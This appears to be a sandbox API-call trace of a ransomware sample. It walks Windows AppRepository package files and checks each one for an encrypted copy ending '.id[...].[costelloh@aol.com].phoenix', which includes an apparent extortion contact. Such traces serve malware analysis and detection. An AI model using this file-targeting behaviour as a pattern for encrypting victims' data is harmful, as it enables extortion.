	[0262.634] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.634] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.634] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.635] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0262.635] CloseHandle (hObject=0x2e0) returned 1
	[0262.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.636] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.636] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.636] CloseHandle (hObject=0x2e0) returned 1
	[0262.636] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.644] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2584) returned 1
	[0262.644] CloseHandle (hObject=0x2e0) returned 1
	[0262.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.644] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.646] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=12288) returned 1
	[0262.646] CloseHandle (hObject=0x2e0) returned 1
	[0262.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.646] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.646] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.646] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.646] CloseHandle (hObject=0x2e0) returned 1
	[0262.647] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.647] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.648] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2300) returned 1
	[0262.648] CloseHandle (hObject=0x2e0) returned 1
	[0262.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.654] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.654] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.654] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.656] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=968) returned 1
	[0262.656] CloseHandle (hObject=0x2e0) returned 1
	[0262.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.656] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.658] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.658] CloseHandle (hObject=0x2e0) returned 1
	[0262.658] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.658] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.659] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.659] CloseHandle (hObject=0x2e0) returned 1
	[0262.659] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.659] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.660] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5892) returned 1
	[0262.660] CloseHandle (hObject=0x2e0) returned 1
	[0262.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.660] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.660] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.660] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.662] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=36864) returned 1
	[0262.662] CloseHandle (hObject=0x2e0) returned 1
	[0262.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.662] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.662] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.663] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.663] CloseHandle (hObject=0x2e0) returned 1
	[0262.663] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.665] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2684) returned 1
	[0262.665] CloseHandle (hObject=0x2e0) returned 1
	[0262.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.665] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.665] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.665] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.667] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=8192) returned 1
	[0262.667] CloseHandle (hObject=0x2e0) returned 1
	[0262.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
